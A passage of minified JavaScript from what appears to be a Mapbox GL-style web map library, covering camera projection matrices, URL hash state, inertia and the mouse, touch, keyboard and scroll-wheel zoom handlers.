Float64Array(16);o.perspective(hr,this._fov,this.width/this.height,ar,Wt),hr[8]=-he.x*2/this.width,hr[9]=he.y*2/this.height,o.scale(hr,hr,[1,-1,1]),o.translate(hr,hr,[0,0,-this.cameraToCenterDistance]),o.rotateX(hr,hr,this._pitch),o.rotateZ(hr,hr,this.angle),o.translate(hr,hr,[-tt,-ht,0]),this.mercatorMatrix=o.scale([],hr,[this.worldSize,this.worldSize,this.worldSize]),o.scale(hr,hr,[1,1,o.mercatorZfromAltitude(1,this.center.lat)*this.worldSize,1]),this.projMatrix=hr,this.invProjMatrix=o.invert([],this.projMatrix);var Er=this.width%2/2,Fr=this.height%2/2,Or=Math.cos(this.angle),zr=Math.sin(this.angle),Yr=tt-Math.round(tt)+Or*Er+zr*Fr,en=ht-Math.round(ht)+Or*Fr+zr*Er,xn=new Float64Array(hr);if(o.translate(xn,xn,[Yr>.5?Yr-1:Yr,en>.5?en-1:en,0]),this.alignedProjMatrix=xn,hr=o.create(),o.scale(hr,hr,[this.width/2,-this.height/2,1]),o.translate(hr,hr,[1,-1,0]),this.labelPlaneMatrix=hr,hr=o.create(),o.scale(hr,hr,[1,-1,1]),o.translate(hr,hr,[-1,-1,0]),o.scale(hr,hr,[2/this.width,2/this.height,1]),this.glCoordMatrix=hr,this.pixelMatrix=o.multiply(new Float64Array(16),this.labelPlaneMatrix,this.projMatrix),hr=o.invert(new Float64Array(16),this.pixelMatrix),!hr)throw new Error("failed to invert matrix");this.pixelMatrixInverse=hr,this._posMatrixCache={},this._alignedPosMatrixCache={}}},dn.prototype.maxPitchScaleFactor=function(){if(!this.pixelMatrixInverse)return 1;var H=this.pointCoordinate(new o.Point(0,0)),he=[H.x*this.worldSize,H.y*this.worldSize,0,1],$=o.transformMat4(he,he,this.pixelMatrix);return $[3]/this.cameraToCenterDistance},dn.prototype.getCameraPoint=function(){var H=this._pitch,he=Math.tan(H)*(this.cameraToCenterDistance||1);return this.centerPoint.add(new o.Point(0,he))},dn.prototype.getCameraQueryGeometry=function(H){var he=this.getCameraPoint();if(H.length===1)return[H[0],he];for(var $=he.x,ve=he.y,Re=he.x,He=he.y,tt=0,ht=H;tt<ht.length;tt+=1){var Dt=ht[tt];$=Math.min($,Dt.x),ve=Math.min(ve,Dt.y),Re=Math.max(Re,Dt.x),He=Math.max(He,Dt.y)}return[new o.Point($,ve),new o.Point(Re,ve),new o.Point(Re,He),new o.Point($,He),new o.Point($,ve)]},Object.defineProperties(dn.prototype,An);function ia(ue,H){var he=!1,$=null,ve=function(){$=null,he&&(ue(),$=setTimeout(ve,H),he=!1)};return function(){return he=!0,$||ve(),$}}var ma=function(H){this._hashName=H&&encodeURIComponent(H),o.bindAll(["_getCurrentHash","_onHashChange","_updateHash"],this),this._updateHash=ia(this._updateHashUnthrottled.bind(this),30*1e3/100)};ma.prototype.addTo=function(H){return this._map=H,o.window.addEventListener("hashchange",this._onHashChange,!1),this._map.on("moveend",this._updateHash),this},ma.prototype.remove=function(){return o.window.removeEventListener("hashchange",this._onHashChange,!1),this._map.off("moveend",this._updateHash),clearTimeout(this._updateHash()),delete this._map,this},ma.prototype.getHashString=function(H){var he=this._map.getCenter(),$=Math.round(this._map.getZoom()*100)/100,ve=Math.ceil(($*Math.LN2+Math.log(512/360/.5))/Math.LN10),Re=Math.pow(10,ve),He=Math.round(he.lng*Re)/Re,tt=Math.round(he.lat*Re)/Re,ht=this._map.getBearing(),Dt=this._map.getPitch(),Wt="";if(H?Wt+="/"+He+"/"+tt+"/"+$:Wt+=$+"/"+tt+"/"+He,(ht||Dt)&&(Wt+="/"+Math.round(ht*10)/10),Dt&&(Wt+="/"+Math.round(Dt)),this._hashName){var ar=this._hashName,hr=!1,Er=o.window.location.hash.slice(1).split("&").map(function(Fr){var Or=Fr.split("=")[0];return Or===ar?(hr=!0,Or+"="+Wt):Fr}).filter(function(Fr){return Fr});return hr||Er.push(ar+"="+Wt),"#"+Er.join("&")}return"#"+Wt},ma.prototype._getCurrentHash=function(){var H=this,he=o.window.location.hash.replace("#","");if(this._hashName){var $;return he.split("&").map(function(ve){return ve.split("=")}).forEach(function(ve){ve[0]===H._hashName&&($=ve)}),($&&$[1]||"").split("/")}return he.split("/")},ma.prototype._onHashChange=function(){var H=this._getCurrentHash();if(H.length>=3&&!H.some(function($){return isNaN($)})){var he=this._map.dragRotate.isEnabled()&&this._map.touchZoomRotate.isEnabled()?+(H[3]||0):this._map.getBearing();return this._map.jumpTo({center:[+H[2],+H[1]],zoom:+H[0],bearing:he,pitch:+(H[4]||0)}),!0}return!1},ma.prototype._updateHashUnthrottled=function(){var H=this.getHashString();try{o.window.history.replaceState(o.window.history.state,"",H)}catch{}};var wa={linearity:.3,easing:o.bezier(0,0,.3,1)},Ta=o.extend({deceleration:2500,maxSpeed:1400},wa),Ma=o.extend({deceleration:20,maxSpeed:1400},wa),ja=o.extend({deceleration:1e3,maxSpeed:360},wa),yi=o.extend({deceleration:1e3,maxSpeed:90},wa),ni=function(H){this._map=H,this.clear()};ni.prototype.clear=function(){this._inertiaBuffer=[]},ni.prototype.record=function(H){this._drainInertiaBuffer(),this._inertiaBuffer.push({time:o.browser.now(),settings:H})},ni.prototype._drainInertiaBuffer=function(){for(var H=this._inertiaBuffer,he=o.browser.now(),$=160;H.length>0&&he-H[0].time>$;)H.shift()},ni.prototype._onMoveEnd=function(H){if(this._drainInertiaBuffer(),!(this._inertiaBuffer.length<2)){for(var he={zoom:0,bearing:0,pitch:0,pan:new o.Point(0,0),pinchAround:void 0,around:void 0},$=0,ve=this._inertiaBuffer;$<ve.length;$+=1){var Re=ve[$],He=Re.settings;he.zoom+=He.zoomDelta||0,he.bearing+=He.bearingDelta||0,he.pitch+=He.pitchDelta||0,He.panDelta&&he.pan._add(He.panDelta),He.around&&(he.around=He.around),He.pinchAround&&(he.pinchAround=He.pinchAround)}var tt=this._inertiaBuffer[this._inertiaBuffer.length-1],ht=tt.time-this._inertiaBuffer[0].time,Dt={};if(he.pan.mag()){var Wt=Ae(he.pan.mag(),ht,o.extend({},Ta,H||{}));Dt.offset=he.pan.mult(Wt.amount/he.pan.mag()),Dt.center=this._map.transform.center,se(Dt,Wt)}if(he.zoom){var ar=Ae(he.zoom,ht,Ma);Dt.zoom=this._map.transform.zoom+ar.amount,se(Dt,ar)}if(he.bearing){var hr=Ae(he.bearing,ht,ja);Dt.bearing=this._map.transform.bearing+o.clamp(hr.amount,-179,179),se(Dt,hr)}if(he.pitch){var Er=Ae(he.pitch,ht,yi);Dt.pitch=this._map.transform.pitch+Er.amount,se(Dt,Er)}if(Dt.zoom||Dt.bearing){var Fr=he.pinchAround===void 0?he.around:he.pinchAround;Dt.around=Fr?this._map.unproject(Fr):this._map.getCenter()}return this.clear(),o.extend(Dt,{noMoveStart:!0})}};function se(ue,H){(!ue.duration||ue.duration<H.duration)&&(ue.duration=H.duration,ue.easing=H.easing)}function Ae(ue,H,he){var $=he.maxSpeed,ve=he.linearity,Re=he.deceleration,He=o.clamp(ue*ve/(H/1e3),-$,$),tt=Math.abs(He)/(Re*ve);return{easing:he.easing,duration:tt*1e3,amount:He*(tt/2)}}var ze=function(ue){function H($,ve,Re,He){He===void 0&&(He={});var tt=S.mousePos(ve.getCanvasContainer(),Re),ht=ve.unproject(tt);ue.call(this,$,o.extend({point:tt,lngLat:ht,originalEvent:Re},He)),this._defaultPrevented=!1,this.target=ve}ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H;var he={defaultPrevented:{configurable:!0}};return H.prototype.preventDefault=function(){this._defaultPrevented=!0},he.defaultPrevented.get=function(){return this._defaultPrevented},Object.defineProperties(H.prototype,he),H}(o.Event),Ye=function(ue){function H($,ve,Re){var He=$==="touchend"?Re.changedTouches:Re.touches,tt=S.touchPos(ve.getCanvasContainer(),He),ht=tt.map(function(ar){return ve.unproject(ar)}),Dt=tt.reduce(function(ar,hr,Er,Fr){return ar.add(hr.div(Fr.length))},new o.Point(0,0)),Wt=ve.unproject(Dt);ue.call(this,$,{points:tt,point:Dt,lngLats:ht,lngLat:Wt,originalEvent:Re}),this._defaultPrevented=!1}ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H;var he={defaultPrevented:{configurable:!0}};return H.prototype.preventDefault=function(){this._defaultPrevented=!0},he.defaultPrevented.get=function(){return this._defaultPrevented},Object.defineProperties(H.prototype,he),H}(o.Event),je=function(ue){function H($,ve,Re){ue.call(this,$,{originalEvent:Re}),this._defaultPrevented=!1}ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H;var he={defaultPrevented:{configurable:!0}};return H.prototype.preventDefault=function(){this._defaultPrevented=!0},he.defaultPrevented.get=function(){return this._defaultPrevented},Object.defineProperties(H.prototype,he),H}(o.Event),qe=function(H,he){this._map=H,this._clickTolerance=he.clickTolerance};qe.prototype.reset=function(){delete this._mousedownPos},qe.prototype.wheel=function(H){return this._firePreventable(new je(H.type,this._map,H))},qe.prototype.mousedown=function(H,he){return this._mousedownPos=he,this._firePreventable(new ze(H.type,this._map,H))},qe.prototype.mouseup=function(H){this._map.fire(new ze(H.type,this._map,H))},qe.prototype.click=function(H,he){this._mousedownPos&&this._mousedownPos.dist(he)>=this._clickTolerance||this._map.fire(new ze(H.type,this._map,H))},qe.prototype.dblclick=function(H){return this._firePreventable(new ze(H.type,this._map,H))},qe.prototype.mouseover=function(H){this._map.fire(new ze(H.type,this._map,H))},qe.prototype.mouseout=function(H){this._map.fire(new ze(H.type,this._map,H))},qe.prototype.touchstart=function(H){return this._firePreventable(new Ye(H.type,this._map,H))},qe.prototype.touchmove=function(H){this._map.fire(new Ye(H.type,this._map,H))},qe.prototype.touchend=function(H){this._map.fire(new Ye(H.type,this._map,H))},qe.prototype.touchcancel=function(H){this._map.fire(new Ye(H.type,this._map,H))},qe.prototype._firePreventable=function(H){if(this._map.fire(H),H.defaultPrevented)return{}},qe.prototype.isEnabled=function(){return!0},qe.prototype.isActive=function(){return!1},qe.prototype.enable=function(){},qe.prototype.disable=function(){};var Mt=function(H){this._map=H};Mt.prototype.reset=function(){this._delayContextMenu=!1,delete this._contextMenuEvent},Mt.prototype.mousemove=function(H){this._map.fire(new ze(H.type,this._map,H))},Mt.prototype.mousedown=function(){this._delayContextMenu=!0},Mt.prototype.mouseup=function(){this._delayContextMenu=!1,this._contextMenuEvent&&(this._map.fire(new ze("contextmenu",this._map,this._contextMenuEvent)),delete this._contextMenuEvent)},Mt.prototype.contextmenu=function(H){this._delayContextMenu?this._contextMenuEvent=H:this._map.fire(new ze(H.type,this._map,H)),this._map.listens("contextmenu")&&H.preventDefault()},Mt.prototype.isEnabled=function(){return!0},Mt.prototype.isActive=function(){return!1},Mt.prototype.enable=function(){},Mt.prototype.disable=function(){};var it=function(H,he){this._map=H,this._el=H.getCanvasContainer(),this._container=H.getContainer(),this._clickTolerance=he.clickTolerance||1};it.prototype.isEnabled=function(){return!!this._enabled},it.prototype.isActive=function(){return!!this._active},it.prototype.enable=function(){this.isEnabled()||(this._enabled=!0)},it.prototype.disable=function(){this.isEnabled()&&(this._enabled=!1)},it.prototype.mousedown=function(H,he){this.isEnabled()&&H.shiftKey&&H.button===0&&(S.disableDrag(),this._startPos=this._lastPos=he,this._active=!0)},it.prototype.mousemoveWindow=function(H,he){if(this._active){var $=he;if(!(this._lastPos.equals($)||!this._box&&$.dist(this._startPos)<this._clickTolerance)){var ve=this._startPos;this._lastPos=$,this._box||(this._box=S.create("div","mapboxgl-boxzoom",this._container),this._container.classList.add("mapboxgl-crosshair"),this._fireEvent("boxzoomstart",H));var Re=Math.min(ve.x,$.x),He=Math.max(ve.x,$.x),tt=Math.min(ve.y,$.y),ht=Math.max(ve.y,$.y);S.setTransform(this._box,"translate("+Re+"px,"+tt+"px)"),this._box.style.width=He-Re+"px",this._box.style.height=ht-tt+"px"}}},it.prototype.mouseupWindow=function(H,he){var $=this;if(this._active&&H.button===0){var ve=this._startPos,Re=he;if(this.reset(),S.suppressClick(),ve.x===Re.x&&ve.y===Re.y)this._fireEvent("boxzoomcancel",H);else return this._map.fire(new o.Event("boxzoomend",{originalEvent:H})),{cameraAnimation:function(He){return He.fitScreenCoordinates(ve,Re,$._map.getBearing(),{linear:!0})}}}},it.prototype.keydown=function(H){this._active&&H.keyCode===27&&(this.reset(),this._fireEvent("boxzoomcancel",H))},it.prototype.reset=function(){this._active=!1,this._container.classList.remove("mapboxgl-crosshair"),this._box&&(S.remove(this._box),this._box=null),S.enableDrag(),delete this._startPos,delete this._lastPos},it.prototype._fireEvent=function(H,he){return this._map.fire(new o.Event(H,{originalEvent:he}))};function kt(ue,H){for(var he={},$=0;$<ue.length;$++)he[ue[$].identifier]=H[$];return he}function jt(ue){for(var H=new o.Point(0,0),he=0,$=ue;he<$.length;he+=1){var ve=$[he];H._add(ve)}return H.div(ue.length)}var Kt=500,wr=500,xr=30,Gr=function(H){this.reset(),this.numTouches=H.numTouches};Gr.prototype.reset=function(){delete this.centroid,delete this.startTime,delete this.touches,this.aborted=!1},Gr.prototype.touchstart=function(H,he,$){(this.centroid||$.length>this.numTouches)&&(this.aborted=!0),!this.aborted&&(this.startTime===void 0&&(this.startTime=H.timeStamp),$.length===this.numTouches&&(this.centroid=jt(he),this.touches=kt($,he)))},Gr.prototype.touchmove=function(H,he,$){if(!(this.aborted||!this.centroid)){var ve=kt($,he);for(var Re in this.touches){var He=this.touches[Re],tt=ve[Re];(!tt||tt.dist(He)>xr)&&(this.aborted=!0)}}},Gr.prototype.touchend=function(H,he,$){if((!this.centroid||H.timeStamp-this.startTime>wr)&&(this.aborted=!0),$.length===0){var ve=!this.aborted&&this.centroid;if(this.reset(),ve)return ve}};var jr=function(H){this.singleTap=new Gr(H),this.numTaps=H.numTaps,this.reset()};jr.prototype.reset=function(){this.lastTime=1/0,delete this.lastTap,this.count=0,this.singleTap.reset()},jr.prototype.touchstart=function(H,he,$){this.singleTap.touchstart(H,he,$)},jr.prototype.touchmove=function(H,he,$){this.singleTap.touchmove(H,he,$)},jr.prototype.touchend=function(H,he,$){var ve=this.singleTap.touchend(H,he,$);if(ve){var Re=H.timeStamp-this.lastTime<Kt,He=!this.lastTap||this.lastTap.dist(ve)<xr;if((!Re||!He)&&this.reset(),this.count++,this.lastTime=H.timeStamp,this.lastTap=ve,this.count===this.numTaps)return this.reset(),ve}};var Mr=function(){this._zoomIn=new jr({numTouches:1,numTaps:2}),this._zoomOut=new jr({numTouches:2,numTaps:1}),this.reset()};Mr.prototype.reset=function(){this._active=!1,this._zoomIn.reset(),this._zoomOut.reset()},Mr.prototype.touchstart=function(H,he,$){this._zoomIn.touchstart(H,he,$),this._zoomOut.touchstart(H,he,$)},Mr.prototype.touchmove=function(H,he,$){this._zoomIn.touchmove(H,he,$),this._zoomOut.touchmove(H,he,$)},Mr.prototype.touchend=function(H,he,$){var ve=this,Re=this._zoomIn.touchend(H,he,$),He=this._zoomOut.touchend(H,he,$);if(Re)return this._active=!0,H.preventDefault(),setTimeout(function(){return ve.reset()},0),{cameraAnimation:function(tt){return tt.easeTo({duration:300,zoom:tt.getZoom()+1,around:tt.unproject(Re)},{originalEvent:H})}};if(He)return this._active=!0,H.preventDefault(),setTimeout(function(){return ve.reset()},0),{cameraAnimation:function(tt){return tt.easeTo({duration:300,zoom:tt.getZoom()-1,around:tt.unproject(He)},{originalEvent:H})}}},Mr.prototype.touchcancel=function(){this.reset()},Mr.prototype.enable=function(){this._enabled=!0},Mr.prototype.disable=function(){this._enabled=!1,this.reset()},Mr.prototype.isEnabled=function(){return this._enabled},Mr.prototype.isActive=function(){return this._active};var _r=0,Hr=2,Kr=function(H){this.reset(),this._clickTolerance=H.clickTolerance||1};Kr.prototype.reset=function(){this._active=!1,this._moved=!1,delete this._lastPoint,delete this._eventButton},Kr.prototype._correctButton=function(H,he){return!1},Kr.prototype._move=function(H,he){return{}},Kr.prototype.mousedown=function(H,he){if(!this._lastPoint){var $=S.mouseButton(H);this._correctButton(H,$)&&(this._lastPoint=he,this._eventButton=$)}},Kr.prototype.mousemoveWindow=function(H,he){var $=this._lastPoint;if($&&(H.preventDefault(),!(!this._moved&&he.dist($)<this._clickTolerance)))return this._moved=!0,this._lastPoint=he,this._move($,he)},Kr.prototype.mouseupWindow=function(H){var he=S.mouseButton(H);he===this._eventButton&&(this._moved&&S.suppressClick(),this.reset())},Kr.prototype.enable=function(){this._enabled=!0},Kr.prototype.disable=function(){this._enabled=!1,this.reset()},Kr.prototype.isEnabled=function(){return this._enabled},Kr.prototype.isActive=function(){return this._active};var rn=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.mousedown=function($,ve){ue.prototype.mousedown.call(this,$,ve),this._lastPoint&&(this._active=!0)},H.prototype._correctButton=function($,ve){return ve===_r&&!$.ctrlKey},H.prototype._move=function($,ve){return{around:ve,panDelta:ve.sub($)}},H}(Kr),Vr=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype._correctButton=function($,ve){return ve===_r&&$.ctrlKey||ve===Hr},H.prototype._move=function($,ve){var Re=.8,He=(ve.x-$.x)*Re;if(He)return this._active=!0,{bearingDelta:He}},H.prototype.contextmenu=function($){$.preventDefault()},H}(Kr),Dn=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype._correctButton=function($,ve){return ve===_r&&$.ctrlKey||ve===Hr},H.prototype._move=function($,ve){var Re=-.5,He=(ve.y-$.y)*Re;if(He)return this._active=!0,{pitchDelta:He}},H.prototype.contextmenu=function($){$.preventDefault()},H}(Kr),Fn=function(H){this._minTouches=1,this._clickTolerance=H.clickTolerance||1,this.reset()};Fn.prototype.reset=function(){this._active=!1,this._touches={},this._sum=new o.Point(0,0)},Fn.prototype.touchstart=function(H,he,$){return this._calculateTransform(H,he,$)},Fn.prototype.touchmove=function(H,he,$){if(this._active)return H.preventDefault(),this._calculateTransform(H,he,$)},Fn.prototype.touchend=function(H,he,$){this._calculateTransform(H,he,$),this._active&&$.length<this._minTouches&&this.reset()},Fn.prototype.touchcancel=function(){this.reset()},Fn.prototype._calculateTransform=function(H,he,$){$.length>0&&(this._active=!0);var ve=kt($,he),Re=new o.Point(0,0),He=new o.Point(0,0),tt=0;for(var ht in ve){var Dt=ve[ht],Wt=this._touches[ht];Wt&&(Re._add(Dt),He._add(Dt.sub(Wt)),tt++,ve[ht]=Dt)}if(this._touches=ve,!(tt<this._minTouches||!He.mag())){var ar=He.div(tt);if(this._sum._add(ar),!(this._sum.mag()<this._clickTolerance)){var hr=Re.div(tt);return{around:hr,panDelta:ar}}}},Fn.prototype.enable=function(){this._enabled=!0},Fn.prototype.disable=function(){this._enabled=!1,this.reset()},Fn.prototype.isEnabled=function(){return this._enabled},Fn.prototype.isActive=function(){return this._active};var Vn=function(){this.reset()};Vn.prototype.reset=function(){this._active=!1,delete this._firstTwoTouches},Vn.prototype._start=function(H){},Vn.prototype._move=function(H,he,$){return{}},Vn.prototype.touchstart=function(H,he,$){this._firstTwoTouches||$.length<2||(this._firstTwoTouches=[$[0].identifier,$[1].identifier],this._start([he[0],he[1]]))},Vn.prototype.touchmove=function(H,he,$){if(this._firstTwoTouches){H.preventDefault();var ve=this._firstTwoTouches,Re=ve[0],He=ve[1],tt=Kn($,he,Re),ht=Kn($,he,He);if(!(!tt||!ht)){var Dt=this._aroundCenter?null:tt.add(ht).div(2);return this._move([tt,ht],Dt,H)}}},Vn.prototype.touchend=function(H,he,$){if(this._firstTwoTouches){var ve=this._firstTwoTouches,Re=ve[0],He=ve[1],tt=Kn($,he,Re),ht=Kn($,he,He);tt&&ht||(this._active&&S.suppressClick(),this.reset())}},Vn.prototype.touchcancel=function(){this.reset()},Vn.prototype.enable=function(H){this._enabled=!0,this._aroundCenter=!!H&&H.around==="center"},Vn.prototype.disable=function(){this._enabled=!1,this.reset()},Vn.prototype.isEnabled=function(){return this._enabled},Vn.prototype.isActive=function(){return this._active};function Kn(ue,H,he){for(var $=0;$<ue.length;$++)if(ue[$].identifier===he)return H[$]}var ca=.1;function fa(ue,H){return Math.log(ue/H)/Math.LN2}var Ra=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.reset=function(){ue.prototype.reset.call(this),delete this._distance,delete this._startDistance},H.prototype._start=function($){this._startDistance=this._distance=$[0].dist($[1])},H.prototype._move=function($,ve){var Re=this._distance;if(this._distance=$[0].dist($[1]),!(!this._active&&Math.abs(fa(this._distance,this._startDistance))<ca))return this._active=!0,{zoomDelta:fa(this._distance,Re),pinchAround:ve}},H}(Vn),ya=25;function Ca(ue,H){return ue.angleWith(H)*180/Math.PI}var Ua=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.reset=function(){ue.prototype.reset.call(this),delete this._minDiameter,delete this._startVector,delete this._vector},H.prototype._start=function($){this._startVector=this._vector=$[0].sub($[1]),this._minDiameter=$[0].dist($[1])},H.prototype._move=function($,ve){var Re=this._vector;if(this._vector=$[0].sub($[1]),!(!this._active&&this._isBelowThreshold(this._vector)))return this._active=!0,{bearingDelta:Ca(this._vector,Re),pinchAround:ve}},H.prototype._isBelowThreshold=function($){this._minDiameter=Math.min(this._minDiameter,$.mag());var ve=Math.PI*this._minDiameter,Re=ya/ve*360,He=Ca($,this._startVector);return Math.abs(He)<Re},H}(Vn);function Wa(ue){return Math.abs(ue.y)>Math.abs(ue.x)}var $a=100,In=function(ue){function H(){ue.apply(this,arguments)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.reset=function(){ue.prototype.reset.call(this),this._valid=void 0,delete this._firstMove,delete this._lastPoints},H.prototype._start=function($){this._lastPoints=$,Wa($[0].sub($[1]))&&(this._valid=!1)},H.prototype._move=function($,ve,Re){var He=$[0].sub(this._lastPoints[0]),tt=$[1].sub(this._lastPoints[1]);if(this._valid=this.gestureBeginsVertically(He,tt,Re.timeStamp),!!this._valid){this._lastPoints=$,this._active=!0;var ht=(He.y+tt.y)/2,Dt=-.5;return{pitchDelta:ht*Dt}}},H.prototype.gestureBeginsVertically=function($,ve,Re){if(this._valid!==void 0)return this._valid;var He=2,tt=$.mag()>=He,ht=ve.mag()>=He;if(!(!tt&&!ht)){if(!tt||!ht)return this._firstMove===void 0&&(this._firstMove=Re),Re-this._firstMove<$a?void 0:!1;var Dt=$.y>0==ve.y>0;return Wa($)&&Wa(ve)&&Dt}},H}(Vn),La={panStep:100,bearingStep:15,pitchStep:10},Sa=function(){var H=La;this._panStep=H.panStep,this._bearingStep=H.bearingStep,this._pitchStep=H.pitchStep};Sa.prototype.reset=function(){this._active=!1},Sa.prototype.keydown=function(H){var he=this;if(!(H.altKey||H.ctrlKey||H.metaKey)){var $=0,ve=0,Re=0,He=0,tt=0;switch(H.keyCode){case 61:case 107:case 171:case 187:$=1;break;case 189:case 109:case 173:$=-1;break;case 37:H.shiftKey?ve=-1:(H.preventDefault(),He=-1);break;case 39:H.shiftKey?ve=1:(H.preventDefault(),He=1);break;case 38:H.shiftKey?Re=1:(H.preventDefault(),tt=-1);break;case 40:H.shiftKey?Re=-1:(H.preventDefault(),tt=1);break;default:return}return{cameraAnimation:function(ht){var Dt=ht.getZoom();ht.easeTo({duration:300,easeId:"keyboardHandler",easing:za,zoom:$?Math.round(Dt)+$*(H.shiftKey?2:1):Dt,bearing:ht.getBearing()+ve*he._bearingStep,pitch:ht.getPitch()+Re*he._pitchStep,offset:[-He*he._panStep,-tt*he._panStep],center:ht.getCenter()},{originalEvent:H})}}}},Sa.prototype.enable=function(){this._enabled=!0},Sa.prototype.disable=function(){this._enabled=!1,this.reset()},Sa.prototype.isEnabled=function(){return this._enabled},Sa.prototype.isActive=function(){return this._active};function za(ue){return ue*(2-ue)}var ci=4.000244140625,bi=1/100,Si=1/450,si=2,ei=function(H,he){this._map=H,this._el=H.getCanvasContainer(),this._handler=he,this._delta=0,this._defaultZoomRate=bi,this._wheelZoomRate=Si,o.bindAll(["_onWheel","_onTimeout","_onScrollFrame","_onScrollFinished"],this)};ei.prototype.setZoomRate=function(H){this._defaultZoomRate=H},ei.prototype.setWheelZoomRate=function(H){this._wheelZoomRate=H},ei.prototype.isEnabled=function(){return!!this._enabled},ei.prototype.isActive=function(){return!!this._active||this._finishTimeout!==void 0},ei.prototype.isZooming=function(){return!!this._zooming},ei.prototype.enable=function(H){this.isEnabled()||(this._enabled=!0,this._aroundCenter=H&&H.around==="center")},ei.prototype.disable=function(){this.isEnabled()&&(this._enabled=!1)},ei.prototype.wheel=function(H){if(this.isEnabled()){var he=H.deltaMode===o.window.WheelEvent.DOM_DELTA_LINE?H.deltaY*40:H.deltaY,$=o.browser.now(),ve=$-(this._lastWheelEventTime||0);this._lastWheelEventTime=$,he!==0&&he%ci===0?this._type="wheel":he!==0&&Math.abs(he)<4?this._type="trackpad":ve>400?(this._type=null,this._lastValue=he,this._timeout=setTimeout(this._onTimeout,40,H)):this._type||(this._type=Math.abs(ve*he)<200?"trackpad":"wheel",this._timeout&&(clearTimeout(this._timeout),this._timeout=null,he+=this._lastValue)),H.shiftKey&&he&&(he=he/4),this._type&&(this._lastWheelEvent=H,this._delta-=he,this._active||this._start(H)),H.preventDefault()}},ei.prototype._onTimeout=function(H){this._type="wheel",this._delta-=this._lastValue,this._active||this._start(H)},ei.prototype._start=function(H){if(this._delta){this._frameId&&(this._frameId=null),this._active=!0,this.isZooming()||(this._zooming=!0),this._finishTimeout&&(clearTimeout(this._finishTimeout),delete this._finishTimeout);var he=S.mousePos(this._el,H);this._around=o.LngLat.convert(this._aroundCenter?this._map.getCenter():this._map.unproject(he)),this._aroundPoint=this._map.transform.locationPoint(this._around),this._frameId||(this._frameId=!0,this._handler._triggerRenderFrame())}},ei.prototype.renderFrame=function(){return this._onScrollFrame()},ei.prototype._onScrollFrame=function(){var H=this;if(this._frameId&&(this._frameId=null,!!this.isActive())){var he=this._map.transform;if(this._delta!==0){var $=this._type==="wheel"&&Math.abs(this._delta)>ci?this._wheelZoomRate:this._defaultZoomRate,ve=si/(1+Math.exp(-Math.abs(this._delta*$)));this._delta<0&&ve!==0&&(ve=1/ve);var Re=typeof this._targetZoom=="number"?he.zoomScale(this._targetZoom):he.scale;this._targetZoom=Math.min(he.maxZoom,Math.max(he.minZoom,he.scaleZoom(Re*ve))),this._type==="wheel"&&(this._startZoom=he.zoom,this._easing=this._smoothOutEasing(200)),this._delta=0}var He=typeof this._targetZoom=="number"?this._targetZoom:he.zoom,tt=this._startZoom,ht=this._easing,Dt=!1,Wt;if(this._type==="wheel"&&tt&&ht){var ar=Math.min((o.browser.now()-this._lastWheelEventTime)/200,1),hr=ht(ar);Wt=o.number(tt,He,hr),ar<1?this._frameId||(this._frameId=!0):Dt=!0}else Wt=He,Dt=!0;return this._active=!0,Dt&&(this._active=!1,this._finishTimeout=setTimeout(function(){H._zooming=!1,H._handler._triggerRenderFrame(),delete H._targetZoom,delete H._finishTimeout},200)),{noInertia:!0,needsRenderFrame:!Dt,zoomDelta:Wt-he.zoom,around:this._aroundPoint,originalEvent:this._lastWheelEvent}}},ei.prototype._smoothOutEasing=function(H){var he=o.ease;if(this._prevEase){var $=this._prevEase,ve=(o.browser.now()-$.start)/$.duration,Re=$.easing(ve+.01)-$.easing(ve),He=.27/Math.sqrt(Re*Re+1e-4)*.01,tt=Math.sqrt(.27*.27-He*He);he=o.bezier(He,tt,.25,1)}return this._prevEase={start:o.browser.now(),duration:H,easing:he},he},ei.prototype.reset=function(){this._active=!1};var la=function(H,he){this._clickZoom=H,this._tapZoom=he};la.prototype.enable=function(){this._clickZoom.enable(),this._tapZoom.enable()},la.prototype.disable=function(){this._clickZoom.disable(),this._tapZoom.disable()},la.prototype.isEnabled=function(){return this._clickZoom.isEnabled()&&this._tapZoom.isEnabled()},la.prototype.isActive=function(){return this._clickZoom.isActive()||this._tapZoom.isActive()};var pa=function(){this.reset()};pa.prototype.reset=function(){this._active=!1},pa.prototype.dblclick=function(H,he){return H.preventDefault(),{cameraAnimation:function($){$.easeTo({duration:300,zoom:$.getZoom()+(H.shiftKey?-1:1),around:$.unproject(he)},{originalEvent:H})}}},pa.prototype.enable=function(){this._enabled=!0},pa.prototype.disable=function(){this._enabled=!1,this.reset()},pa.prototype.isEnabled=function(){return this._enabled},pa.prototype.isActive=function(){return this._active};var li=function(){this._tap=new jr({numTouches:1,numTaps:1}),this.reset()};li.prototype.reset=function(){this._active=!1,delete this._swipePoint,delete this._swipeTouch,delete this._tapTime,this._tap.reset()},li.prototype.touchstart=function(H,he,$){this._swipePoint||(this._tapTime&&H.timeStamp-this._tapTime>Kt&&this.reset(),this._tapTime?$.length>0&&(this._swipePoint=he[0],this._swipeTouch=$[0].identifier):this._tap.touchstart(H,he,$))},li.prototype.touchmove=function(H,he,$){if(!this._tapTime)this._tap.touchmove(H,he,$);else if(this._swipePoint){if($[0].identifier!==this._swipeTouch)return;var ve=he[0],Re=ve.y-this._swipePoint.y;return this._swipePoint=ve,H.preventDefault(),this._active=!0,{zoomDelta:Re/128}}},li.prototype.touchend=function(H,he,$){if(this._tapTime)this._swipePoint&&$.length===0&&this.reset();else{var 